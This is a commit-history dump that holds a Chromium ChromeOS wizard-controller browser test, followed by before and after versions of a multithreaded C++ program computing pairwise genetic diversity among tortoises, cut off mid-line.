EXPECT_FALSE(current_screen->UILayoutIsRightToLeft());\n const std::wstring en_str = l10n_util::GetString(IDS_NETWORK_SELECTION_TITLE);\n\n chromeos::LanguageSwitchModel::SwitchLanguage(\"fr\");\n EXPECT_EQ(\"fr\", g_browser_process->GetApplicationLocale());\n EXPECT_STREQ(\"fr\", icu::Locale::getDefault().getLanguage());\n EXPECT_FALSE(current_screen->UILayoutIsRightToLeft());\n const std::wstring fr_str = l10n_util::GetString(IDS_NETWORK_SELECTION_TITLE);\n\n EXPECT_NE(en_str, fr_str);\n\n chromeos::LanguageSwitchModel::SwitchLanguage(\"ar\");\n EXPECT_EQ(\"ar\", g_browser_process->GetApplicationLocale());\n EXPECT_STREQ(\"ar\", icu::Locale::getDefault().getLanguage());\n EXPECT_TRUE(current_screen->UILayoutIsRightToLeft());\n const std::wstring ar_str = l10n_util::GetString(IDS_NETWORK_SELECTION_TITLE);\n\n EXPECT_NE(fr_str, ar_str);\n}\n\nclass WizardControllerFlowTest : public WizardControllerTest {\n protected:\n WizardControllerFlowTest() {}\n \/\/ Overriden from InProcessBrowserTest:\n virtual Browser* CreateBrowser(Profile* profile) {\n Browser* ret = WizardControllerTest::CreateBrowser(profile);\n\n \/\/ Set up the mocks for all screens.\n MOCK(mock_account_screen_, account_screen_, chromeos::AccountScreen);\n MOCK(mock_login_screen_, login_screen_, LoginScreen);\n MOCK(mock_network_screen_, network_screen_, chromeos::NetworkScreen);\n MOCK(mock_update_screen_, update_screen_, MockUpdateScreen);\n\n \/\/ Switch to the initial screen.\n EXPECT_EQ(NULL, controller()->current_screen());\n EXPECT_CALL(*mock_network_screen_, Show()).Times(1);\n controller()->ShowFirstScreen(WizardController::kOutOfBoxScreenName);\n\n return ret;\n }\n\n MockOutShowHide<chromeos::AccountScreen>* mock_account_screen_;\n MockOutShowHide<LoginScreen>* mock_login_screen_;\n MockOutShowHide<chromeos::NetworkScreen>* mock_network_screen_;\n MockOutShowHide<MockUpdateScreen>* mock_update_screen_;\n\n private:\n DISALLOW_COPY_AND_ASSIGN(WizardControllerFlowTest);\n};\n\nIN_PROC_BROWSER_TEST_F(WizardControllerFlowTest, ControlFlowMain) {\n EXPECT_EQ(controller()->GetNetworkScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_network_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_update_screen_, StartUpdate()).Times(1);\n EXPECT_CALL(*mock_update_screen_, Show()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::NETWORK_CONNECTED);\n\n EXPECT_EQ(controller()->GetUpdateScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_update_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_login_screen_, Show()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::UPDATE_INSTALLED);\n\n EXPECT_EQ(controller()->GetLoginScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_login_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_account_screen_, Show()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::LOGIN_CREATE_ACCOUNT);\n\n EXPECT_EQ(controller()->GetAccountScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_account_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_login_screen_, Show()).Times(1);\n EXPECT_CALL(*mock_login_screen_, Hide()).Times(0); \/\/ last transition\n controller()->OnExit(chromeos::ScreenObserver::ACCOUNT_CREATED);\n\n EXPECT_EQ(controller()->GetLoginScreen(), controller()->current_screen());\n}\n\nIN_PROC_BROWSER_TEST_F(WizardControllerFlowTest, ControlFlowErrorUpdate) {\n EXPECT_EQ(controller()->GetNetworkScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_update_screen_, StartUpdate()).Times(1);\n EXPECT_CALL(*mock_update_screen_, Show()).Times(1);\n EXPECT_CALL(*mock_network_screen_, Hide()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::NETWORK_CONNECTED);\n\n EXPECT_EQ(controller()->GetUpdateScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_update_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_network_screen_, Show()).Times(1);\n EXPECT_CALL(*mock_network_screen_, Hide()).Times(0); \/\/ last transition\n controller()->OnExit(chromeos::ScreenObserver::UPDATE_NETWORK_ERROR);\n\n EXPECT_EQ(controller()->GetNetworkScreen(), controller()->current_screen());\n}\n\nIN_PROC_BROWSER_TEST_F(WizardControllerFlowTest, ControlFlowErrorNetwork) {\n EXPECT_EQ(controller()->GetNetworkScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_login_screen_, Show()).Times(1);\n EXPECT_CALL(*mock_network_screen_, Hide()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::NETWORK_OFFLINE);\n EXPECT_EQ(controller()->GetLoginScreen(), controller()->current_screen());\n}\n\nCOMPILE_ASSERT(chromeos::ScreenObserver::EXIT_CODES_COUNT == 11,\n add_tests_for_new_control_flow_you_just_introduced);\n<commit_msg>Attempted ChromiumOS compile fix.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"app\/l10n_util.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/chromeos\/login\/account_screen.h\"\n#include \"chrome\/browser\/chromeos\/login\/language_switch_model.h\"\n#include \"chrome\/browser\/chromeos\/login\/mock_update_screen.h\"\n#include \"chrome\/browser\/chromeos\/login\/network_screen.h\"\n#include \"chrome\/browser\/chromeos\/login\/network_selection_view.h\"\n#include \"chrome\/browser\/chromeos\/login\/wizard_controller.h\"\n#include \"chrome\/browser\/chromeos\/login\/wizard_in_process_browser_test.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"grit\/generated_resources.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"unicode\/locid.h\"\n\nnamespace {\n\ntemplate <class T>\nclass MockOutShowHide : public T {\n public:\n template <class P> MockOutShowHide(P p) : T(p) {}\n template <class P1, class P2> MockOutShowHide(P1 p1, P2 p2) : T(p1, p2) {}\n MOCK_METHOD0(Show, void());\n MOCK_METHOD0(Hide, void());\n};\n\ntemplate <class T>\nstruct CreateMockWizardScreenHelper {\n static MockOutShowHide<T>* Create(WizardController* wizard);\n};\n\ntemplate <class T> MockOutShowHide<T>*\nCreateMockWizardScreenHelper<T>::Create(WizardController* wizard) {\n return new MockOutShowHide<T>(wizard);\n}\n\ntemplate <> MockOutShowHide<chromeos::NetworkScreen>*\nCreateMockWizardScreenHelper<chromeos::NetworkScreen>::Create(\n WizardController* wizard) {\n return new MockOutShowHide<chromeos::NetworkScreen>(wizard, true);\n}\n\n#define MOCK(mock_var, screen_name, mocked_class) \\\n mock_var = CreateMockWizardScreenHelper<mocked_class>::Create(controller()); \\\n controller()->screen_name.reset(mock_var); \\\n EXPECT_CALL(*mock_var, Show()).Times(0); \\\n EXPECT_CALL(*mock_var, Hide()).Times(0);\n\n} \/\/ namespace\n\nclass WizardControllerTest : public chromeos::WizardInProcessBrowserTest {\n protected:\n WizardControllerTest() : chromeos::WizardInProcessBrowserTest(\n WizardController::kTestNoScreenName) {}\n virtual ~WizardControllerTest() {}\n\n private:\n DISALLOW_COPY_AND_ASSIGN(WizardControllerTest);\n};\n\nIN_PROC_BROWSER_TEST_F(WizardControllerTest, SwitchLanguage) {\n WizardController* const wizard = controller();\n ASSERT_TRUE(wizard != NULL);\n wizard->ShowFirstScreen(WizardController::kOutOfBoxScreenName);\n views::View* current_screen = wizard->contents();\n ASSERT_TRUE(current_screen != NULL);\n\n \/\/ Checking the default locale. Provided that the profile is cleared in SetUp.\n EXPECT_EQ(\"en-US\", g_browser_process->GetApplicationLocale());\n EXPECT_STREQ(\"en\", icu::Locale::getDefault().getLanguage());\n EXPECT_FALSE(base::i18n::IsRTL());\n const std::wstring en_str = l10n_util::GetString(IDS_NETWORK_SELECTION_TITLE);\n\n chromeos::LanguageSwitchModel::SwitchLanguage(\"fr\");\n EXPECT_EQ(\"fr\", g_browser_process->GetApplicationLocale());\n EXPECT_STREQ(\"fr\", icu::Locale::getDefault().getLanguage());\n EXPECT_FALSE(base::i18n::IsRTL());\n const std::wstring fr_str = l10n_util::GetString(IDS_NETWORK_SELECTION_TITLE);\n\n EXPECT_NE(en_str, fr_str);\n\n chromeos::LanguageSwitchModel::SwitchLanguage(\"ar\");\n EXPECT_EQ(\"ar\", g_browser_process->GetApplicationLocale());\n EXPECT_STREQ(\"ar\", icu::Locale::getDefault().getLanguage());\n EXPECT_TRUE(base::i18n::IsRTL());\n const std::wstring ar_str = l10n_util::GetString(IDS_NETWORK_SELECTION_TITLE);\n\n EXPECT_NE(fr_str, ar_str);\n}\n\nclass WizardControllerFlowTest : public WizardControllerTest {\n protected:\n WizardControllerFlowTest() {}\n \/\/ Overriden from InProcessBrowserTest:\n virtual Browser* CreateBrowser(Profile* profile) {\n Browser* ret = WizardControllerTest::CreateBrowser(profile);\n\n \/\/ Set up the mocks for all screens.\n MOCK(mock_account_screen_, account_screen_, chromeos::AccountScreen);\n MOCK(mock_login_screen_, login_screen_, LoginScreen);\n MOCK(mock_network_screen_, network_screen_, chromeos::NetworkScreen);\n MOCK(mock_update_screen_, update_screen_, MockUpdateScreen);\n\n \/\/ Switch to the initial screen.\n EXPECT_EQ(NULL, controller()->current_screen());\n EXPECT_CALL(*mock_network_screen_, Show()).Times(1);\n controller()->ShowFirstScreen(WizardController::kOutOfBoxScreenName);\n\n return ret;\n }\n\n MockOutShowHide<chromeos::AccountScreen>* mock_account_screen_;\n MockOutShowHide<LoginScreen>* mock_login_screen_;\n MockOutShowHide<chromeos::NetworkScreen>* mock_network_screen_;\n MockOutShowHide<MockUpdateScreen>* mock_update_screen_;\n\n private:\n DISALLOW_COPY_AND_ASSIGN(WizardControllerFlowTest);\n};\n\nIN_PROC_BROWSER_TEST_F(WizardControllerFlowTest, ControlFlowMain) {\n EXPECT_EQ(controller()->GetNetworkScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_network_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_update_screen_, StartUpdate()).Times(1);\n EXPECT_CALL(*mock_update_screen_, Show()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::NETWORK_CONNECTED);\n\n EXPECT_EQ(controller()->GetUpdateScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_update_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_login_screen_, Show()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::UPDATE_INSTALLED);\n\n EXPECT_EQ(controller()->GetLoginScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_login_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_account_screen_, Show()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::LOGIN_CREATE_ACCOUNT);\n\n EXPECT_EQ(controller()->GetAccountScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_account_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_login_screen_, Show()).Times(1);\n EXPECT_CALL(*mock_login_screen_, Hide()).Times(0); \/\/ last transition\n controller()->OnExit(chromeos::ScreenObserver::ACCOUNT_CREATED);\n\n EXPECT_EQ(controller()->GetLoginScreen(), controller()->current_screen());\n}\n\nIN_PROC_BROWSER_TEST_F(WizardControllerFlowTest, ControlFlowErrorUpdate) {\n EXPECT_EQ(controller()->GetNetworkScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_update_screen_, StartUpdate()).Times(1);\n EXPECT_CALL(*mock_update_screen_, Show()).Times(1);\n EXPECT_CALL(*mock_network_screen_, Hide()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::NETWORK_CONNECTED);\n\n EXPECT_EQ(controller()->GetUpdateScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_update_screen_, Hide()).Times(1);\n EXPECT_CALL(*mock_network_screen_, Show()).Times(1);\n EXPECT_CALL(*mock_network_screen_, Hide()).Times(0); \/\/ last transition\n controller()->OnExit(chromeos::ScreenObserver::UPDATE_NETWORK_ERROR);\n\n EXPECT_EQ(controller()->GetNetworkScreen(), controller()->current_screen());\n}\n\nIN_PROC_BROWSER_TEST_F(WizardControllerFlowTest, ControlFlowErrorNetwork) {\n EXPECT_EQ(controller()->GetNetworkScreen(), controller()->current_screen());\n EXPECT_CALL(*mock_login_screen_, Show()).Times(1);\n EXPECT_CALL(*mock_network_screen_, Hide()).Times(1);\n controller()->OnExit(chromeos::ScreenObserver::NETWORK_OFFLINE);\n EXPECT_EQ(controller()->GetLoginScreen(), controller()->current_screen());\n}\n\nCOMPILE_ASSERT(chromeos::ScreenObserver::EXIT_CODES_COUNT == 11,\n add_tests_for_new_control_flow_you_just_introduced);\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ calcPWP.cpp\n\/\/ \n\/\/\n\/\/ Created by Evan McCartney-Melstad on 1\/10\/15.\n\/\/\n\/\/\n\n#include \"calcPWP.h\"\n#include <iostream>\n#include <vector>\n#include <fstream>\n#include <thread>\n#include <string>\n\n\nint calcPWPfromBinaryFile (std::string binaryFile, unsigned long long int numLoci, const int numIndividuals, std::string outFile, int numThreads) {\n \n \/\/****MODIFY THIS TO ONLY READ IN N LOCI AT A TIME, INSTEAD OF USING THE ENTIRE FILE****\n \n std::cout << \"Number of threads: \" << numThreads << std::endl;\n std::streampos size;\n std::ifstream file (binaryFile, std::ios::in|std::ios::binary|std::ios::ate);\n \/\/ifstream file (\"test500k.binary8bitunsigned\", ios::in|ios::binary|ios::ate);\n if (file.is_open()) {\n size = file.tellg(); \/\/ Just a variable that shows position of stream--at end since ios::ate, so it's the file size. PROBABLY WON'T WORK FOR FILES LARGER THAN ~ 2GB!\n file.seekg (0, std::ios::beg); \/\/ Go back to the beginning of the file\n \/\/file.read((char*)readCounts, size); \/\/ cast to a char* to give to file.read\n \n \/\/unsigned char* readCounts;\n \/\/readCounts = new unsigned char[size];\n std::vector<unsigned char> readCounts(size);\n file.read((char*) &readCounts[0], size);\n file.close();\n \n std::cout << \"the entire file content is in memory\" << std::endl;\n std::cout << \"the total size of the file is \" << size << std::endl;\n std::cout << \"the number of elements in the readCounts vector is: \" << readCounts.size() << std::endl; \/\/ Will give the total size bytes divided by the size of one element--so it gives the number of elements\n \n \/* We are going to split the loci between numThreads threads. Each thread will modify two multidimensional\n vectors of the forms std::vector< std::vector<long double> > pwp(numIndividuals, std::vector<long double>(numIndividuals,0)) and std::vector< std::vector<unsigned long long int> > weightings(numIndividuals, std::vector<unsigned long long int>(numIndividuals,0))\n \n First, we'll generate all of these vectors, which apparently in C++ needs to be constructed of a\n vector of two-dimensional vectors...\n *\/\n std::vector<std::vector<std::vector<long double>>> pwpThreads(numThreads, std::vector<std::vector<long double>> (numIndividuals, std::vector<long double> (numIndividuals,0) ) ); \/\/pwpThreads[0] is the first 2D array for the first thread, etc...\n std::vector<std::vector<std::vector<unsigned long long int>>> weightingsThreads(numThreads, std::vector<std::vector<unsigned long long int> > (numIndividuals, std::vector<unsigned long long int> (numIndividuals,0) ) );\n \n std::cout << \"Initialized the 3d vectors\" << std::endl;\n \n \/\/ Now we need to determine how many loci for each thread. If we want to use the entire binary file, instead of numLoci loci, then change this to lociPerThread = (size\/(numIndividuals*2))\/numThreads\n \/\/unsigned long long int lociPerThread = numLoci \/ numThreads;\n \n \/\/unsigned long long int lociPerThread = (readCounts.size()-1)\/numThreads; \/\/ loci starts with 0, so need to subtract 1 from numLoci\n unsigned long long int lociPerThread;\n if (numLoci == 0) {\n lociPerThread = (unsigned long long)(size\/(numIndividuals*2))\/(unsigned long long)numThreads;\n } else {\n lociPerThread = (unsigned long long)numLoci\/(unsigned long long)numThreads;\n }\n \n \n \n\n std::cout << \"Initialized lociPerThread with \" << numLoci << std::endl;\n \n std::vector<std::thread> threadsVec;\n for (int threadRunning = 0; threadRunning < numThreads; threadRunning++) {\n std::cout << \"Got to the function call. Running thread # \" << threadRunning << std::endl;\n unsigned long long int firstLocus = (unsigned long long int) threadRunning * lociPerThread;\n unsigned long long int finishingLocus = ((unsigned long long int) threadRunning * lociPerThread) + lociPerThread - (unsigned long long)1.0;\n std::cout << \"Set firstLocus to \" << firstLocus << \" and finishingLocus to \" << finishingLocus << std::endl;\n \n threadsVec.push_back(std::thread(calcPWPforRange, firstLocus, finishingLocus, numIndividuals, std::ref(readCounts), std::ref(pwpThreads[threadRunning]), std::ref(weightingsThreads[threadRunning])));\n }\n \n \/\/ Wait on threads to finish\n for (int i = 0; i < numThreads; ++i) {\n threadsVec[i].join();\n std::cout << \"Joined thread \" << i << std::endl;\n }\n std::cout << \"All threads completed running\" << std::endl;\n \n \n \n \/\/ Now aggregate the results of the threads and print final results\n std::vector<std::vector<long double>> weightingsSum(numIndividuals, std::vector<long double>(numIndividuals,0));\n std::vector<std::vector<long double>> pwpSum(numIndividuals, std::vector<long double>(numIndividuals,0));\n \n for (int tortoise = 0; tortoise < numIndividuals; tortoise++) {\n for (int comparisonTortoise = 0; comparisonTortoise <= tortoise; comparisonTortoise++) {\n for (int threadVector = 0; threadVector < numThreads; threadVector++) {\n weightingsSum[tortoise][comparisonTortoise] += weightingsThreads[threadVector][tortoise][comparisonTortoise];\n pwpSum[tortoise][comparisonTortoise] += pwpThreads[threadVector][tortoise][comparisonTortoise];\n }\n }\n }\n \n \n \n std::cout << \"Finished summing the threads vectors\" << std::endl;\n \n \n \/\/ Now print out the final output to the pairwise pi file:\n std::ofstream pwpOUT (outFile);\n int rowCounter = 0;\n if (!pwpOUT) {\n std::cerr << \"Crap, \" << outFile << \"didn't open!\" << std::endl;\n } else {\n for (int tortoise=0; tortoise < numIndividuals; tortoise++) {\n for (int comparisonTortoise = 0; comparisonTortoise <= tortoise; comparisonTortoise++) {\n rowCounter++;\n \n \/\/std::cout << \"Made it past the beginning of the last end for loop\" << std::endl;\n \/\/std::cout << \"Tortoise numbers: \" << tortoise << \" and \" << comparisonTortoise << std::endl;\n if (weightingsSum[tortoise][comparisonTortoise] > 0) {\n \/\/std::cout << weightings[tortoise][comparisonTortoise] << std::endl;\n \/\/std::cout << pwp[tortoise][comparisonTortoise] \/ weightings[tortoise][comparisonTortoise] << std::endl;\n std::cout << std::fixed;\n std::cout << \"Weightings for tortoise \" << tortoise << \" and comparisonTortoise \" << comparisonTortoise << \" : \" << weightingsSum[tortoise][comparisonTortoise] << std::endl;\n std::cout << \"PWP for tortoise \" << tortoise << \" and comparisonTortoise \" << comparisonTortoise << \" : \" << pwpSum[tortoise][comparisonTortoise] << std::endl;\n std::cout << std::scientific;\n pwpOUT << pwpSum[tortoise][comparisonTortoise] \/ weightingsSum[tortoise][comparisonTortoise] << std::endl;\n } else {\n pwpOUT << \"NA\" << std::endl;\n }\n }\n }\n }\n } else std::cout << \"Unable to open file\";\n \n return 0;\n}\n\n\n\/\/int calcPWPforRange (unsigned long long startingLocus, unsigned long long endingLocus, int numIndividuals, const std::vector<BYTE>& mainReadCountVector, std::vector< std::vector<long double> > & threadPWP, std::vector< std::vector<long double> > & threadWeightings) {\nint calcPWPforRange (unsigned long long startingLocus, unsigned long long endingLocus, int numIndividuals, std::vector<unsigned char>& mainReadCountVector, std::vector<std::vector<long double>>& threadPWP, std::vector<std::vector<unsigned long long int>>& threadWeightings) {\n \n std::cout << \"Calculating PWP for the following locus range: \" << startingLocus << \" to \" << endingLocus << std::endl;\n for( unsigned long long locus = startingLocus; locus < endingLocus; locus++) {\n \/\/std::cout << \"Processing locus # \" << locus << std::endl;\n if (locus % 100000 == 0) {\n std::cout << locus << \" loci processed through calcPWPfromBinaryFile\" << std::endl;\n }\n \n int coverages[numIndividuals];\n long double *majorAlleleFreqs = new long double[numIndividuals]; \/\/ This will hold the major allele frequencies for that locus for each tortoise\n \n for( int tortoise = 0; tortoise < numIndividuals; tortoise++ ) {\n unsigned long long majorIndex = locus * (numIndividuals*2) + 2 * tortoise;\n unsigned long long minorIndex = locus * (numIndividuals*2) + 2 * tortoise + 1;\n \n coverages[tortoise] = int(mainReadCountVector[majorIndex]) + int(mainReadCountVector[minorIndex]); \/\/ Hold the coverages for each locus\n if ( coverages[tortoise] > 0 ) {\n \/\/std::cout << \"Made it to line 222 for locus \" << locus << std::endl;\n majorAlleleFreqs[tortoise] = (long double)mainReadCountVector[majorIndex] \/ (long double)coverages[tortoise]; \/\/ Not necessarily an int, but could be 0 or 1\n\n if (coverages[tortoise] > 1) {\n unsigned long long locusWeighting = coverages[tortoise]*(coverages[tortoise]-1);\n threadWeightings[tortoise][tortoise] += (unsigned long long)locusWeighting; \/\/ This is an int--discrete number of reads\n \n\n threadPWP[tortoise][tortoise] += (long double)(locusWeighting) * ((long double)2.0 * majorAlleleFreqs[tortoise] * ((long double)(coverages[tortoise]) - (long double)(mainReadCountVector[majorIndex]))) \/ (long double)((coverages[tortoise])-(long double)1.0);\n }\n \n for( int comparisonTortoise = 0; comparisonTortoise < tortoise; comparisonTortoise++) {\n if (coverages[comparisonTortoise] > 0) {\n long double locusWeighting = (long double)coverages[tortoise] * (long double)(coverages[comparisonTortoise]-1.0);\n \n threadWeightings[tortoise][comparisonTortoise] += locusWeighting;\n threadPWP[tortoise][comparisonTortoise] += (long double)locusWeighting * (majorAlleleFreqs[tortoise] * ((long double)1.0-majorAlleleFreqs[comparisonTortoise]) + majorAlleleFreqs[comparisonTortoise] * ((long double)1.0-majorAlleleFreqs[tortoise]));\n }\n }\n }\n }\n delete[] majorAlleleFreqs; \/\/ Needed to avoid memory leaks\n }\n std::cout << \"Finished thread ending on locus \" << endingLocus << std::endl;\n return 0;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<commit_msg>Minor changes<commit_after>\/\/\n\/\/ calcPWP.cpp\n\/\/ \n\/\/\n\/\/ Created by Evan McCartney-Melstad on 1\/10\/15.\n\/\/\n\/\/\n\n#include \"calcPWP.h\"\n#include <iostream>\n#include <vector>\n#include <fstream>\n#include <thread>\n#include <string>\n\n\nint calcPWPfromBinaryFile (std::string binaryFile, unsigned long long int numLoci, const int numIndividuals, std::string outFile, int numThreads) {\n \n \/\/****MODIFY THIS TO ONLY READ IN N LOCI AT A TIME, INSTEAD OF USING THE ENTIRE FILE****\n \n std::cout << \"Number of threads: \" << numThreads << std::endl;\n std::streampos size;\n std::ifstream file (binaryFile, std::ios::in|std::ios::binary|std::ios::ate);\n \/\/ifstream file (\"test500k.binary8bitunsigned\", ios::in|ios::binary|ios::ate);\n if (file.is_open()) {\n size = file.tellg(); \/\/ Just a variable that shows position of stream--at end since ios::ate, so it's the file size. PROBABLY WON'T WORK FOR FILES LARGER THAN ~ 2GB!\n file.seekg (0, std::ios::beg); \/\/ Go back to the beginning of the file\n \/\/file.read((char*)readCounts, size); \/\/ cast to a char* to give to file.read\n \n \/\/unsigned char* readCounts;\n \/\/readCounts = new unsigned char[size];\n std::vector<unsigned char> readCounts(size);\n file.read((char*) &readCounts[0], size);\n file.close();\n \n std::cout << \"the entire file content is in memory\" << std::endl;\n std::cout << \"the total size of the file is \" << size << std::endl;\n std::cout << \"the number of elements in the readCounts vector is: \" << readCounts.size() << std::endl; \/\/ Will give the total size bytes divided by the size of one element--so it gives the number of elements\n \n \/* We are going to split the loci between numThreads threads. Each thread will modify two multidimensional\n vectors of the forms std::vector< std::vector<long double> > pwp(numIndividuals, std::vector<long double>(numIndividuals,0)) and std::vector< std::vector<unsigned long long int> > weightings(numIndividuals, std::vector<unsigned long long int>(numIndividuals,0))\n \n First, we'll generate all of these vectors, which apparently in C++ needs to be constructed of a\n vector of two-dimensional vectors...\n *\/\n std::vector<std::vector<std::vector<long double>>> pwpThreads(numThreads, std::vector<std::vector<long double>> (numIndividuals, std::vector<long double> (numIndividuals,0) ) ); \/\/pwpThreads[0] is the first 2D array for the first thread, etc...\n std::vector<std::vector<std::vector<unsigned long long int>>> weightingsThreads(numThreads, std::vector<std::vector<unsigned long long int> > (numIndividuals, std::vector<unsigned long long int> (numIndividuals,0) ) );\n \n std::cout << \"Initialized the 3d vectors\" << std::endl;\n \n \/\/ Now we need to determine how many loci for each thread. If we want to use the entire binary file, instead of numLoci loci, then change this to lociPerThread = (size\/(numIndividuals*2))\/numThreads\n \/\/unsigned long long int lociPerThread = numLoci \/ numThreads;\n \n \/\/unsigned long long int lociPerThread = (readCounts.size()-1)\/numThreads; \/\/ loci starts with 0, so need to subtract 1 from numLoci\n unsigned long long int lociPerThread;\n if (numLoci == 0) {\n lociPerThread = (unsigned long long)(size\/(numIndividuals*2))\/(unsigned long long)numThreads;\n } else {\n lociPerThread = (unsigned long long)numLoci\/(unsigned long long)numThreads;\n }\n \n \n \n\n std::cout << \"Initialized lociPerThread with \" << numLoci << std::endl;\n \n std::vector<std::thread> threadsVec;\n for (int threadRunning = 0; threadRunning < numThreads; threadRunning++) {\n std::cout << \"Got to the function call. Running thread # \" << threadRunning << std::endl;\n unsigned long long int firstLocus = (unsigned long long int) threadRunning * lociPerThread;\n unsigned long long int finishingLocus = ((unsigned long long int) threadRunning * lociPerThread) + lociPerThread - (unsigned long long)1.0;\n std::cout << \"Set firstLocus to \" << firstLocus << \" and finishingLocus to \" << finishingLocus << std::endl;\n \n threadsVec.push_back(std::thread(calcPWPforRange, firstLocus, finishingLocus, numIndividuals, std::ref(readCounts), std::ref(pwpThreads[threadRunning]), std::ref(weightingsThreads[threadRunning])));\n }\n \n \/\/ Wait on threads to finish\n for (int i = 0; i < numThreads; ++i) {\n threadsVec[i].join();\n std::cout << \"Joined thread \" << i << std::endl;\n }\n std::cout << \"All threads completed running\" << std::endl;\n \n \n \n \/\/ Now aggregate the results of the threads and print final results\n std::vector<std::vector<long double>> weightingsSum(numIndividuals, std::vector<long double>(numIndividuals,0));\n std::vector<std::vector<long double>> pwpSum(numIndividuals, std::vector<long double>(numIndividuals,0));\n \n for (int tortoise = 0; tortoise < numIndividuals; tortoise++) {\n for (int comparisonTortoise = 0; comparisonTortoise <= tortoise; comparisonTortoise++) {\n for (int threadVector = 0; threadVector < numThreads; threadVector++) {\n weightingsSum[tortoise][comparisonTortoise] += weightingsThreads[threadVector][tortoise][comparisonTortoise];\n pwpSum[tortoise][comparisonTortoise] += pwpThreads[threadVector][tortoise][comparisonTortoise];\n }\n }\n }\n \n \n \n std::cout << \"Finished summing the threads vectors\" << std::endl;\n \n \n \/\/ Now print out the final output to the pairwise pi file:\n std::ofstream pwpOUT (outFile);\n int rowCounter = 0;\n if (!pwpOUT) {\n std::cerr << \"Crap, \" << outFile << \"didn't open!\" << std::endl;\n } else {\n for (int tortoise=0; tortoise < numIndividuals; tortoise++) {\n for (int comparisonTortoise = 0; comparisonTortoise <= tortoise; comparisonTortoise++) {\n rowCounter++;\n \n \/\/std::cout << \"Made it past the beginning of the last end for loop\" << std::endl;\n \/\/std::cout << \"Tortoise numbers: \" << tortoise << \" and \" << comparisonTortoise << std::endl;\n if (weightingsSum[tortoise][comparisonTortoise] > 0) {\n \/\/std::cout << weightings[tortoise][comparisonTortoise] << std::endl;\n \/\/std::cout << pwp[tortoise][comparisonTortoise] \/ weightings[tortoise][comparisonTortoise] << std::endl;\n std::cout << std::fixed;\n std::cout << \"Weightings for tortoise \" << tortoise << \" and comparisonTortoise \" << comparisonTortoise << \" : \" << weightingsSum[tortoise][comparisonTortoise] << std::endl;\n std::cout << \"PWP for tortoise \" << tortoise << \" and comparisonTortoise \" << comparisonTortoise << \" : \" << pwpSum[tortoise][comparisonTortoise] << std::endl;\n std::cout << std::scientific;\n pwpOUT << pwpSum[tortoise][comparisonTortoise] \/ weightingsSum[tortoise][comparisonTortoise] << std::endl;\n } else {\n pwpOUT << \"NA\" << std::endl;\n }\n }\n }\n }\n } else std::cout << \"Unable to open file\";\n \n return 0;\n}\n\n\n\/\/int calcPWPforRange (unsigned long long startingLocus, unsigned long long endingLocus, int numIndividuals, const std::vector<BYTE>& mainReadCountVector, std::vector< std::vector<long double> > & threadPWP, std::vector< std::vector<long double> > & threadWeightings) {\nint calcPWPforRange (unsigned long long startingLocus, unsigned long long endingLocus, int numIndividuals, std::vector<unsigned char>& mainReadCountVector, std::vector<std::vector<long double>>& threadPWP, std::vector<std::vector<unsigned long long int>>& threadWeightings) {\n \n std::cout << \"Calculating PWP for the following locus range: \" << startingLocus << \" to \" << endingLocus << std::endl;\n for( unsigned long long locus = startingLocus; locus < endingLocus; locus++) {\n \/\/std::cout << \"Processing locus # \" << locus << std::endl;\n if (locus % 100000 == 0) {\n std::cout << locus << \" loci processed through calcPWPfromBinaryFile\" << std::endl;\n }\n \n unsigned long long coverages[numIndividuals];\n long double *majorAlleleFreqs = new long double[numIndividuals]; \/\/ This will hold the major allele frequencies for that locus for each tortoise\n \n for( int tortoise = 0; tortoise < numIndividuals; tortoise++ ) {\n unsigned long long majorIndex = locus * (numIndividuals*2) + 2 * tortoise;\n unsigned long long minorIndex = locus * (numIndividuals*2) + 2 * tortoise + 1;\n \n coverages[tortoise] = int(mainReadCountVector[majorIndex]) + int(mainReadCountVector[minorIndex]); \/\/ Hold the coverages for each locus\n if ( coverages[tortoise] > 0 ) {\n \/\/std::cout << \"Made it to line 222 for locus \" << locus << std::endl;\n majorAlleleFreqs[tortoise] = (long double)mainReadCountVector[majorIndex] \/ (long double)coverages[tortoise]; \/\/ Not necessarily an int, but could be 0 or 1\n\n if (coverages[tortoise] > 1) {\n unsigned long long locusWeighting = unsigned long long (coverages[tortoise]*(coverages[tortoise]-1));\n threadWeightings[tortoise][tortoise] += 